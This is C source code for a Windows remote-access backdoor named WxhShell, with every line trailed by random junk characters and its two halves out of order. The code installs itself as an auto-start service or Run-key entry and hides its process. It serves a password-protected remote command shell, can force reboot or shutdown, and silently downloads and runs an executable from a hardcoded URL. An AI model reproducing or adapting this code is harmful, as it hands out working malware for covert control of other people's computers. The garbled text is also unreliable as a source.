    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1GE|Wd  
    if(Boot(SHUTDOWN)) L1)@z8]   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); npu6E;'l*  
    else { |\uYv|sT  
    closesocket(wsh); dYojm1MQ  
    ExitThread(0); z&3]%t `C  
    } F X1ZG!  
    break; snp v z1iS  
    } j%*7feSNC  
  // 获取shell 6a>H|"P NE  
  case 's': { Cw,D{  
    CmdShell(wsh); SHqyvF  
    closesocket(wsh); _2mNTJiw  
    ExitThread(0); VAYb=4lt  
    break; , Ut Hc]  
  } lg:y|@Y''  
  // 退出 {lzG*4?  
  case 'x': { *R`MMm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _b4fS'[  
    CloseIt(wsh); f!-Sz/c#  
    break; U06o ;s(  
    } ]Bb7(JX  
  // 离开 MdhT!?  
  case 'q': { Ew^ @Aq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  td(M#a-  
    closesocket(wsh); qq+MBW*  
    WSACleanup(); C'9 1d7E  
    exit(1); K:qOoY  
    break; H] qq ~bO[  
        } s5Fr)q// !  
  } ?SUQk55w  
  } j/<??v4F4  
,bSVVT-b  
  // 提示信息 B$`lY DqaG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wm6dQQ;Bj  
} C?Qf F{!7  
  } d0C8*ifFO  
A"/aGCG0z  
  return; o*7yax  
} }?O[N}>,m  
4NVgOr:  
// shell模块句柄 ~! Lw1]&  
int CmdShell(SOCKET sock) JY4_v>Aob  
{ REx[`x,GUh  
STARTUPINFO si; ?\yB)Nd y  
ZeroMemory(&si,sizeof(si)); l:tpL(%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8)Tj H'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l/V&s<  
PROCESS_INFORMATION ProcessInfo; #DaP=k"XV  
char cmdline[]="cmd"; ti;%BS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M5+W$W  
  return 0; -g2{68 1`r  
} V/UB9)i+  
aVK()1v]  
// 自身启动模式 mahi7eU P  
int StartFromService(void) r|8V @.@i  
{ U3q5^{0d/  
typedef struct Y<ElJ>A2I  
{ 'j /q76uXV  
  DWORD ExitStatus; /2:Q6J  
  DWORD PebBaseAddress; u-/3(dKt  
  DWORD AffinityMask; I;iR(Hf)?q  
  DWORD BasePriority; (j`l5r#X#/  
  ULONG UniqueProcessId; 5fxbA2\  
  ULONG InheritedFromUniqueProcessId; H5^Y->  
}   PROCESS_BASIC_INFORMATION; T.euoFU{Z  
Hrv),Ce  
PROCNTQSIP NtQueryInformationProcess; ,yi2O]5e>!  
gx&73f<J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $pBr &,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tYI]=:  
G\IocZ3Gz  
  HANDLE             hProcess; QW:Z[?39^  
  PROCESS_BASIC_INFORMATION pbi; Pb=rFas*C  
)ldUayJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v*gLNB,ZH  
  if(NULL == hInst ) return 0; $@4e(Zrmo  
n=SzF(S[M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u> In(7\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V?WMj $l<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (HaU,vP  
0<"tl0p_  
  if (!NtQueryInformationProcess) return 0; )muv;Rf`e5  
oYGUjI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J4&XPr9  
  if(!hProcess) return 0; |3W3+Rn!  
$/y%[ .  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (T`q++  
2tlO"c:_/  
  CloseHandle(hProcess); d<)s@Ntgm  
_fe0,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5D >BV *"  
if(hProcess==NULL) return 0; dnLo(<{<U  
y>&VtN{E  
HMODULE hMod; ?RqTbT@~  
char procName[255]; !c v6 #:  
unsigned long cbNeeded; A1Ibx|K  
U0ns3LirP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \_)02ZT:  
"&s9cO.H  
  CloseHandle(hProcess); R\i]O  
FK?mS>G6  
if(strstr(procName,"services")) return 1; // 以服务启动 )62q|c9F  
V&$  J;  
  return 0; // 注册表启动 `mWQWx$V!  
} /7S-|%1  
Y|Nfwqz  
// 主模块 D'Jm!Ap  
int StartWxhshell(LPSTR lpCmdLine) /"g[Ay  
{ f45;fT>   
  SOCKET wsl; I}I}K~se*  
BOOL val=TRUE; {: Am9B  
  int port=0; -(|7`U  
  struct sockaddr_in door; :K!GR  
Uv#>d}P  
  if(wscfg.ws_autoins) Install(); m7weR>aS4  
#%9oQ6nO  
port=atoi(lpCmdLine); ze-TBh/  
Mt]=v}z  
if(port<=0) port=wscfg.ws_port; h0&>GY;i  
f/$-Nl.  
  WSADATA data; "Yc^Nc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /7!_un9  
#r78Ym'aI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5(mCBH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FCUVP,"T  
  door.sin_family = AF_INET; IF,i^,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d;*OO xQV  
  door.sin_port = htons(port); oP 6.t-<dU  
ir( -$*J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `!5tH?bX  
closesocket(wsl); "\wDS2M)  
return 1; 2^k^"<h5j  
} Q6e'0EIKC  
[MSDk"o&  
  if(listen(wsl,2) == INVALID_SOCKET) { ZQgxrZx3  
closesocket(wsl); zyQ,unu  
return 1; v '"1/% L  
} gJ~*rWBK:  
  Wxhshell(wsl); DH*|>m&  
  WSACleanup(); L*oL KigT  
.wn_e=lT  
return 0; _q}%!#4  
fv'P!+)t  
} eZkz 1j~  
$5(%M8qmQ  
// 以NT服务方式启动 _rh.z_a7w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w[[@&T\`  
{ 3t6'5{  
DWORD   status = 0; fB}5,22  
  DWORD   specificError = 0xfffffff; 69[k ?')LM  
{!bJ.O l  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  ,qqV11P]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U4pvQE.m<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'MlC 1HEp  
  serviceStatus.dwWin32ExitCode     = 0; +-137!x\q  
  serviceStatus.dwServiceSpecificExitCode = 0; o*BI^4  
  serviceStatus.dwCheckPoint       = 0; YAG3PWmD  
  serviceStatus.dwWaitHint       = 0; >~InO^R`5  
<4bo7XH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5E(P,!-.  
  if (hServiceStatusHandle==0) return; -^"?a]B  
aJ@qB9(ZBe  
status = GetLastError(); IKp x~  
  if (status!=NO_ERROR) ts$UC $  
{ rqo<Xt`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ->{WO+6(  
    serviceStatus.dwCheckPoint       = 0; jd'R2e  
    serviceStatus.dwWaitHint       = 0; x"T^>Q  
    serviceStatus.dwWin32ExitCode     = status; 8{ e 3  
    serviceStatus.dwServiceSpecificExitCode = specificError; o`Brr:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mmK_xu~f28  
    return; q0<`XDD`  
  } rnaDo\5  
pU/.|Sh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9>P(eN  
  serviceStatus.dwCheckPoint       = 0; Ip-jqN J~  
  serviceStatus.dwWaitHint       = 0; F9hWB17u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vBXr[XoC  
} !d_A?q'hN  
#O ]IXo(5z  
// 处理NT服务事件,比如:启动、停止 v[GHqZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @SXgaWr  
{ YT8`Vz$+  
switch(fdwControl) mg]dKp  
{ [%Xfl7;Wh  
case SERVICE_CONTROL_STOP: fXj  
  serviceStatus.dwWin32ExitCode = 0; ?Fv(4g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X9wi:  
  serviceStatus.dwCheckPoint   = 0; v_ h{_b8  
  serviceStatus.dwWaitHint     = 0; #Xly5J  
  { #\QC%"%f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =G6@:h=  
  } %4J?xhd  
  return; rK wkj)  
case SERVICE_CONTROL_PAUSE: 5<poN)"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z0KA4O$eL  
  break; K6oLSr+EAK  
case SERVICE_CONTROL_CONTINUE: zZ-*/THB@R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *uR'eXW  
  break; f 5Oh#  
case SERVICE_CONTROL_INTERROGATE: 6W Zp&pO  
  break; )1le-SC  
}; .+sIjd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KW\`&ki  
} \&0NH=*^  
?*=Jq  
// 标准应用程序主函数 *6DKU CA/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X,~C&#  
{ AsOI`@FV  
Re_.<_$  
// 获取操作系统版本 |EunDb[Y  
OsIsNt=GetOsVer(); he@swE&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e6Y0G,K  
vSh)r 9  
  // 从命令行安装 RWYA`  
  if(strpbrk(lpCmdLine,"iI")) Install(); rcCM x"L=  
gC_U7aw  
  // 下载执行文件 " PPwJ/L(  
if(wscfg.ws_downexe) { t [f]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O#g31?TO  
  WinExec(wscfg.ws_filenam,SW_HIDE); 90a= 39kI  
} ?uQpt(  
p6p_B   
if(!OsIsNt) { L-yC'C  
// 如果时win9x,隐藏进程并且设置为注册表启动 oVdmgmT.Y  
HideProc(); ^<c?Ire  
StartWxhshell(lpCmdLine); 3 }XS| Y  
} oT OMqR{"  
else P$Nwf,d2u  
  if(StartFromService()) 3~ylBJJ  
  // 以服务方式启动 SX#ATf6#  
  StartServiceCtrlDispatcher(DispatchTable); /KkUCq2A  
else <?+ \\Z!7  
  // 普通方式启动 @L0.Z1 ).  
  StartWxhshell(lpCmdLine); -4.+&'  
yd $y\pN=<  
return 0; Ad[-YT  
} S[Et!gj:  
:0/I2:  
2]|+.9B  
+u7mw<A 8  
=========================================== c(:GsoO  
yo5|~"yZY  
b@Fa| >"_  
C 7v 8  
QM=X<?m/,=  
=Z2sQQVS  
" i9Qx{f88  
MOXDR  
#include <stdio.h> O3S_P]{*ny  
#include <string.h> uXXwMc<p  
#include <windows.h> HghNI  
#include <winsock2.h> \%UA6uj  
#include <winsvc.h> <3'r&ks  
#include <urlmon.h> _95V"h  
Jf 2  
#pragma comment (lib, "Ws2_32.lib") [!"u&iu`  
#pragma comment (lib, "urlmon.lib") HA| YLj?|g  
Y>r9"X| &H  
#define MAX_USER   100 // 最大客户端连接数 D+tn<\LF  
#define BUF_SOCK   200 // sock buffer ydw')Em  
#define KEY_BUFF   255 // 输入 buffer e(cctC|l  
^$VOC>>9  
#define REBOOT     0   // 重启 N]gdS]pP2{  
#define SHUTDOWN   1   // 关机 .hU ndg  
A>Js`s  
#define DEF_PORT   5000 // 监听端口 7^=O^!sa  
=F6J%$  
#define REG_LEN     16   // 注册表键长度 ))<3+^S0V\  
#define SVC_LEN     80   // NT服务名长度 ~)ls.NXI  
&{99Owqg  
// 从dll定义API |d K_^~;o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V#zDYrp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VB\oK\F5z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +c?1\{M   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0Db#W6*^  
p "u5wJ_  
// wxhshell配置信息 p3&w/K{L6w  
struct WSCFG { !ce5pA  
  int ws_port;         // 监听端口 J=ZNx;{6  
  char ws_passstr[REG_LEN]; // 口令 IZ "d s=w  
  int ws_autoins;       // 安装标记, 1=yes 0=no k1W q$KCwG  
  char ws_regname[REG_LEN]; // 注册表键名 .>_p7=a  
  char ws_svcname[REG_LEN]; // 服务名 8sLp! O;f2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !q mnMY$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pPUKx =d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H1]G<N3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6p])2]N>p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \^i/:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #}3$n/  
'7 SFa]tH  
}; pbt/i+!  
6x7pqH M  
// default Wxhshell configuration L> > %  
struct WSCFG wscfg={DEF_PORT, jNBvy1  
    "xuhuanlingzhe", *H8(G%a!^  
    1, 8SR~{  
    "Wxhshell", eJlTCXeZ|  
    "Wxhshell", 0 fX  
            "WxhShell Service", 0j@gC0xu)|  
    "Wrsky Windows CmdShell Service", V*U{q%p(  
    "Please Input Your Password: ", gmd-$%"  
  1, H:TRJ.!w2  
  "http://www.wrsky.com/wxhshell.exe", bS[;d5  
  "Wxhshell.exe" E]/` JI'%  
    }; >,wm-4&E  
*z&m=G\  
// 消息定义模块 9)}Nx>K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =8#$'1K,v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C7:;<<"P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dz3chy,3  
char *msg_ws_ext="\n\rExit."; s~V%eq("}  
char *msg_ws_end="\n\rQuit."; U51C /A  
char *msg_ws_boot="\n\rReboot..."; =wE1j  
char *msg_ws_poff="\n\rShutdown..."; sTv;Ogs.  
char *msg_ws_down="\n\rSave to "; I@ "%iYL  
[Vzp D 4  
char *msg_ws_err="\n\rErr!"; C{^U^>bU  
char *msg_ws_ok="\n\rOK!"; #[=%+*Q  
V}_M\Y^^;  
char ExeFile[MAX_PATH]; W(.q. Sx>  
int nUser = 0; kB:6e7D|[  
HANDLE handles[MAX_USER]; F6,[!.wl  
int OsIsNt; !} ~K'1"  
bLSXQStB  
SERVICE_STATUS       serviceStatus; (nL''#Ka  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; " b?1Yc-  
:jo !Yi  
// 函数声明 Ni bOtIZ  
int Install(void); 2g?O+'JD  
int Uninstall(void); BTi:Bcv k  
int DownloadFile(char *sURL, SOCKET wsh); Tp-<!^o4  
int Boot(int flag); <~D-ew^BU  
void HideProc(void); "eRf3Q7w:  
int GetOsVer(void); n_ORD@$]  
int Wxhshell(SOCKET wsl); %z9eVkPI~  
void TalkWithClient(void *cs); H! IL5@@K  
int CmdShell(SOCKET sock); (x"TM),Q  
int StartFromService(void); H!uB&qY  
int StartWxhshell(LPSTR lpCmdLine); $d:>(_p=A  
e&*< "WN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6h8fzqRzc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s{q)P1x  
e[`u:  
// 数据结构和表定义 9#C hn~ \  
SERVICE_TABLE_ENTRY DispatchTable[] = 9j6# #@{  
{ ZMFV iE;8  
{wscfg.ws_svcname, NTServiceMain}, r0 mXRZC  
{NULL, NULL} &tKr ?l  
}; fYv= yP~  
KB3zQJY  
// 自我安装 |gl~wG1@  
int Install(void) Nhq& Sn2  
{ ~i3/Ec0\  
  char svExeFile[MAX_PATH]; Tno[LP,  
  HKEY key; n4* hQi+d  
  strcpy(svExeFile,ExeFile); RfM uWo:  
eJh4hp;x  
// 如果是win9x系统,修改注册表设为自启动 R[ 'k&jyi  
if(!OsIsNt) { 5|I2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +1`Zu$|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4d\"gk  
  RegCloseKey(key); aN\ps g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HC'k81Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f(Hh(  
  RegCloseKey(key); ;a]Lxx;-  
  return 0; H\Bh Af  
    } 5)%bnLxn  
  } ,<,ige  
} =e<;B_ ~.  
else { .Vy*p")"  
BC/oh+FW3  
// 如果是NT以上系统,安装为系统服务 AYB =iLa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *)PCPYB^  
if (schSCManager!=0) IB!^dhD!Q  
{ Mo4#UV  
  SC_HANDLE schService = CreateService st8=1}:&\  
  ( %TO=]>q  
  schSCManager, 5P?7xRA  
  wscfg.ws_svcname, uyd y[n\  
  wscfg.ws_svcdisp, o_!=-AWV  
  SERVICE_ALL_ACCESS, )+' De  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , . kv/db  
  SERVICE_AUTO_START, ;=&D_jGf]  
  SERVICE_ERROR_NORMAL, +Xb )bfN  
  svExeFile, Afpj*o  
  NULL, m 6Xex.d  
  NULL, 6CKWKc  
  NULL, RC[b+J,q  
  NULL, jafIKSD]%  
  NULL H(eGqVAq,  
  ); Q}a, f75  
  if (schService!=0) 3$]SP1Mc(  
  { {I/|7b>@r  
  CloseServiceHandle(schService); zjyj,jP  
  CloseServiceHandle(schSCManager); buIy+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L&C<-BA/  
  strcat(svExeFile,wscfg.ws_svcname); ^uU'Qc4S=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6$]p;}#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [1I>Bc&o*  
  RegCloseKey(key); c5>'1L  
  return 0; V}leEf2'  
    } uO4kCK<7C  
  } 'f+g`t?  
  CloseServiceHandle(schSCManager); @<GVY))R8  
} amPC C  
} oiG@_YtR  
S6.N)7y  
return 1; ?V6+o`bm  
} &"V%n  
X%S9 H^9  
// 自我卸载 .x$!Rc}  
int Uninstall(void) bL=32YS  
{ ObDcNq/b!  
  HKEY key; )~hsd+ 0t  
dHU#Y,v  
if(!OsIsNt) { xz dqE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mA5xke_)  
  RegDeleteValue(key,wscfg.ws_regname); wi]|"\  
  RegCloseKey(key); 9N>Dp N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]}/LNO*L"  
  RegDeleteValue(key,wscfg.ws_regname); a;AvY O  
  RegCloseKey(key); D_,}lsrb  
  return 0; -yt[0  
  } H"4^  
} Xj.Tg1^K"  
} <`EZ^S L;  
else { ~ ={8b  
X}`|"NIk.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *]%{ttR~  
if (schSCManager!=0) SP9_s7LL  
{ $b;9oST  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '+BcPB?E  
  if (schService!=0) B8z3W9  
  { lmb5Z-xB  
  if(DeleteService(schService)!=0) { Ch607 i=  
  CloseServiceHandle(schService); 5haJPWG|'  
  CloseServiceHandle(schSCManager); ,Z*?"d  
  return 0; <!^wGN$f  
  } &eq>>  
  CloseServiceHandle(schService); tWVbD%u^  
  } hKb-l`KO  
  CloseServiceHandle(schSCManager); 7g3vh%G.  
} $Jo[&,  
} !+& "y K@J  
_wp6rb:8!  
return 1; %"V Y)  
}  q%,q"WU  
|xyN#wi  
// 从指定url下载文件 &; 5QB  
int DownloadFile(char *sURL, SOCKET wsh) E$m3Gg)s>N  
{ UOH2I+@V  
  HRESULT hr; |lAu6d !  
char seps[]= "/"; aH'Sz'|E  
char *token; 1pogk0h.:  
char *file; !'(bwbd  
char myURL[MAX_PATH]; FR _R"p  
char myFILE[MAX_PATH]; Y~(#_K  
Az[Yvu'<  
strcpy(myURL,sURL); H cwqVU  
  token=strtok(myURL,seps);  Ko9"mHNB  
  while(token!=NULL) ]&w>p#_C  
  { w;}pebL:  
    file=token; |,L_d2lb  
  token=strtok(NULL,seps); M~7gUb|  
  } Zp]{e6J  
L31B:t^  
GetCurrentDirectory(MAX_PATH,myFILE); xM}lX(V!w  
strcat(myFILE, "\\"); n; ;b6s5  
strcat(myFILE, file); wMNtN3   
  send(wsh,myFILE,strlen(myFILE),0); wmdvAMN  
send(wsh,"...",3,0); c*$&MCh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E]V:@/(M'  
  if(hr==S_OK) rr>*_67-:  
return 0; ;=>4 '$8  
else /PF X1hSu  
return 1; IT]D;  
B;?)   
} S83wAr9T  
FI{9k(  
// 系统电源模块 H5uWI  
int Boot(int flag) pJ-/"Q|:i  
{ DZKVZ_q  
  HANDLE hToken; ]+x;tP o  
  TOKEN_PRIVILEGES tkp; X>l  
Rf2$k/lZ  
  if(OsIsNt) { cN_e0;*Ua  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H~JPsS;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ';4DUh p  
    tkp.PrivilegeCount = 1; *.4;7#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e8O[xM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FC+K2Yf1=0  
if(flag==REBOOT) { iHhoNv`MR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }8J77[>/  
  return 0; /Hb'3,jN  
} LyRto  
else { ^;4nHH7z-,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S*~v9+  
  return 0; 6n 37R#(  
} @bU(z$eB  
  } aGvD  
  else { $[txZN  
if(flag==REBOOT) { os*QWSs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1"{3v@yi  
  return 0; +Z[(s!  
} %tiFx:F+  
else { !/O c)Yk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0Pw?@uV  
  return 0; gn"_()8cT  
}  4KF 1vw  
} >J>4g;Y  
jz(}P8  
return 1; H)aeS F5  
} P<yd  
(5Q,d [B  
// win9x进程隐藏模块 J/Ki]T9  
void HideProc(void) /Y|oDfv  
{ Hp;Dp!PLa  
Av[L,4A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u1 d{|fF  
  if ( hKernel != NULL ) %m r  
  { +` g&J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #UGm/4C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KA1Z{7UK%  
    FreeLibrary(hKernel); c`I`@Bed  
  } eED Fm  
.hW_P62\#  
return; o<2H~2/  
} Mo`7YS-Y  
:=x-b3U  
// 获取操作系统版本 P_)h8-!+ $  
int GetOsVer(void) dE9xan  
{ g@]G [(  
  OSVERSIONINFO winfo; }I_/>58  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2lPj%i 5  
  GetVersionEx(&winfo); !7XAc,y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) to@ O  
  return 1; A\J|eSG'$  
  else gd3~R+Kd  
  return 0; 7Z;bUMYtx  
} ek6PMZF:'  
9qxB/5d_  
// 客户端句柄模块 [U[saR\  
int Wxhshell(SOCKET wsl) .zf#S0y%(  
{ 6c-y<J+&s  
  SOCKET wsh; xKIzEN &  
  struct sockaddr_in client; "C 7-^R#  
  DWORD myID; GQ~wx1jj1  
:/'2@M  
  while(nUser<MAX_USER) _r0[ z  
{ Stqlp<xy  
  int nSize=sizeof(client); dbF?#s~u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pX3Q@3,$  
  if(wsh==INVALID_SOCKET) return 1; j8kax/*[  
U6V+jD}L]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #M$Gj>E%4  
if(handles[nUser]==0) 9C[i#+_3M  
  closesocket(wsh); Lk{ES$  
else "bZ {W(h  
  nUser++; x#z}A&  
  }  meQ>mW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Cisv**9  
RB7?T5G  
  return 0; [>l 2E  
} --*Jv"/0  
;`<uo$R  
// 关闭 socket 3_k.`s_Z  
void CloseIt(SOCKET wsh) $S{B{FK  
{ 'lwLe3.c  
closesocket(wsh); wWV`k  
nUser--; L|hsGm\  
ExitThread(0); R$qp3I  
} gaeMcL_^a  
R7YL I1ov  
// 客户端请求句柄 Uz(Sv:G  
void TalkWithClient(void *cs) O_@  
{ }T([gc7~  
6`(x)Q9  
  SOCKET wsh=(SOCKET)cs; m,U Mb#7Y  
  char pwd[SVC_LEN]; 0N02E  
  char cmd[KEY_BUFF]; BK._cDR  
char chr[1]; [K_v,m]   
int i,j; *7MTq_K(An  
*xY}?vSs  
  while (nUser < MAX_USER) { UuDs  
MVe:[=VOT|  
if(wscfg.ws_passstr) { 3|1ug92  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |#hj O3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @uru4>1_dy  
  //ZeroMemory(pwd,KEY_BUFF); Z!\xVCG"q  
      i=0; b[}f]pB@n  
  while(i<SVC_LEN) { ' fXBWi6  
|l5ol @2*  
  // 设置超时 l)@Zuh  
  fd_set FdRead; J=QuZwt  
  struct timeval TimeOut; NCm>iEeY  
  FD_ZERO(&FdRead); pO^goo V\  
  FD_SET(wsh,&FdRead); N>8p A)  
  TimeOut.tv_sec=8; A6D.bJ)  
  TimeOut.tv_usec=0; Z/#l~.o[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 01bBZWX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /]pBcb|<  
pv/LTv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |^ z?(?w  
  pwd=chr[0]; "M e)'  
  if(chr[0]==0xd || chr[0]==0xa) { *=+m;%]_  
  pwd=0; $F> #1:=v<  
  break; $:|z{p  
  } ~nul[>z  
  i++; y_aKW4L+  
    } -Ucj|9+(a  
>GRL5Iow  
  // 如果是非法用户,关闭 socket 0UV5}/2rP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rU^?Z  
} *Ru@F:  
w.tQ)x1h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n%N|?!rB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \2$-.npz  
HTfHAc?W  
while(1) { <>!Y[Xr^  
DyZe+,g;S  
  ZeroMemory(cmd,KEY_BUFF); .QwwGm  
?`& l Y  
      // 自动支持客户端 telnet标准   g[Tl#X7F  
  j=0; %O9kq  
  while(j<KEY_BUFF) { V1aWVLltj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \tL 9`RKpg  
  cmd[j]=chr[0]; `S&(J2KV  
  if(chr[0]==0xa || chr[0]==0xd) { 'A#`,^]uLF  
  cmd[j]=0; #;4afj:2g  
  break; xR9<I:^&  
  } /jBjqE;_  
  j++; '%JIc~LJ  
    } n veHLHvC7  
>.P/fnvJ  
  // 下载文件 %}t<,ex(yO  
  if(strstr(cmd,"http://")) { desrKnY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); os=Pr{  
  if(DownloadFile(cmd,wsh)) '|v??`o#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (eTe`   
  else yJ(BPSt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a}oFL%=?  
  } 'Q R @G  
  else { Fpz)@0K;  
C26vH#C  
